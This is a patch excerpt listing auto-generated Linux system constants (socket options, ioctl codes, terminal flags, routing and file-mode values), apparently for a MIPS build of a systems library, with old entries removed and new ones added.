-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x40047307
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x40047309
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x467f
-- SIOCOUTQ = 0x7472
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x80047308
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x1
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x80
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x2
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0xffff
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1009
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x20
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x1029
-- SO_DONTROUTE = 0x10
-- SO_ERROR = 0x1007
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x8
-- SO_LINGER = 0x80
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0x100
-- SO_PASSCRED = 0x11
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x12
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1e
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x1028
-- SO_RCVBUF = 0x1002
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x1004
-- SO_RCVTIMEO = 0x1006
-- SO_REUSEADDR = 0x4
-- SO_REUSEPORT = 0x200
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x1001
-- SO_SNDBUFFORCE = 0x1f
-- SO_SNDLOWAT = 0x1003
-- SO_SNDTIMEO = 0x1005
-- SO_STYLE = 0x1008
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x1008
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x5407
-- TCGETA = 0x5401
-- TCGETS = 0x540d
-- TCGETS2 = 0x4030542a
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x5410
-- TCSBRK = 0x5405
-- TCSBRKP = 0x5486
-- TCSETA = 0x5402
-- TCSETAF = 0x5404
-- TCSETAW = 0x5403
-- TCSETS = 0x540e
-- TCSETS2 = 0x8030542b
-- TCSETSF = 0x5410
-- TCSETSF2 = 0x8030542d
-- TCSETSW = 0x540f
-- TCSETSW2 = 0x8030542c
-- TCXONC = 0x5406
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x80047478
-- TIOCEXCL = 0x740d
-- TIOCGDEV = 0x40045432
-- TIOCGETD = 0x7400
-- TIOCGETP = 0x7408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x5492
-- TIOCGLCKTRMIOS = 0x548b
-- TIOCGLTC = 0x7474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x4020542e
-- TIOCGSERIAL = 0x5484
-- TIOCGSID = 0x7416
-- TIOCGSOFTCAR = 0x5481
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x467f
-- TIOCLINUX = 0x5483
-- TIOCMBIC = 0x741c
-- TIOCMBIS = 0x741b
-- TIOCMGET = 0x741d
-- TIOCMIWAIT = 0x5491
-- TIOCMSET = 0x741a
-- TIOCM_CAR = 0x100
-- TIOCM_CD = 0x100
-- TIOCM_CTS = 0x40
-- TIOCM_DSR = 0x400
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x200
-- TIOCM_RNG = 0x200
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x20
-- TIOCM_ST = 0x10
-- TIOCNOTTY = 0x5471
-- TIOCNXCL = 0x740e
-- TIOCOUTQ = 0x7472
-- TIOCPKT = 0x5470
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x5480
-- TIOCSERCONFIG = 0x5488
-- TIOCSERGETLSR = 0x548e
-- TIOCSERGETMULTI = 0x548f
-- TIOCSERGSTRUCT = 0x548d
-- TIOCSERGWILD = 0x5489
-- TIOCSERSETMULTI = 0x5490
-- TIOCSERSWILD = 0x548a
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x7401
-- TIOCSETN = 0x740a
-- TIOCSETP = 0x7409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x548c
-- TIOCSLTC = 0x7475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0xc020542f
-- TIOCSSERIAL = 0x5485
-- TIOCSSOFTCAR = 0x5482
-- TIOCSTI = 0x5472
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x8000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x801054d5
-- TUNDETACHFILTER = 0x801054d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x401054db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x10
-- VEOL = 0x11
-- VEOL2 = 0x6
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x4
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VSWTCH = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x40081270
-+ BLKBSZSET = 0x80081271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40081272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x80
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x2000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0xe
-+ F_GETLK64 = 0xe
-+ F_GETOWN = 0x17
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x18
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x100
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x80
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x800
-+ MAP_ANONYMOUS = 0x800
-+ MAP_DENYWRITE = 0x2000
-+ MAP_EXECUTABLE = 0x4000
-+ MAP_GROWSDOWN = 0x1000
-+ MAP_HUGETLB = 0x80000
-+ MAP_LOCKED = 0x8000
-+ MAP_NONBLOCK = 0x20000
-+ MAP_NORESERVE = 0x400
-+ MAP_POPULATE = 0x10000
-+ MAP_RENAME = 0x800
-+ MAP_STACK = 0x40000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x8
-+ O_ASYNC = 0x1000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x100
-+ O_DIRECT = 0x8000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x10
-+ O_EXCL = 0x400
-+ O_FSYNC = 0x4010
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x80
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x80
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x4010
-+ O_SYNC = 0x4010
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4010743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80107446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x8010744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80107447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_GET_THREAD_AREA_3264 = 0xc4
-+ PTRACE_GET_WATCH_REGS = 0xd0
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_PEEKDATA_3264 = 0xc1
-+ PTRACE_PEEKTEXT_3264 = 0xc0
-+ PTRACE_POKEDATA_3264 = 0xc3
-+ PTRACE_POKETEXT_3264 = 0xc2
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SET_WATCH_REGS = 0xd1
-+ RLIMIT_AS = 0x6
-+ RLIMIT_MEMLOCK = 0x9
-+ RLIMIT_NOFILE = 0x5
-+ RLIMIT_NPROC = 0x8
-+ RLIMIT_RSS = 0x7
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4008700d
-+ RTC_EPOCH_SET = 0x8008700e
-+ RTC_IRQP_READ = 0x4008700b
-+ RTC_IRQP_SET = 0x8008700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x40207011
-+ RTC_PLL_SET = 0x80207012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x80
-+ SIOCATMARK = 0x40047307
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x467f
-+ SIOCOUTQ = 0x7472
-+ SIOCSPGRP = 0x80047308
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x1
-+ SOCK_NONBLOCK = 0x80
-+ SOCK_STREAM = 0x2
-+ SOL_SOCKET = 0xffff
-+ SO_ACCEPTCONN = 0x1009
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x20
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x1029
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x8
-+ SO_LINGER = 0x80
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0x100
-+ SO_PASSCRED = 0x11
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x12
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1e
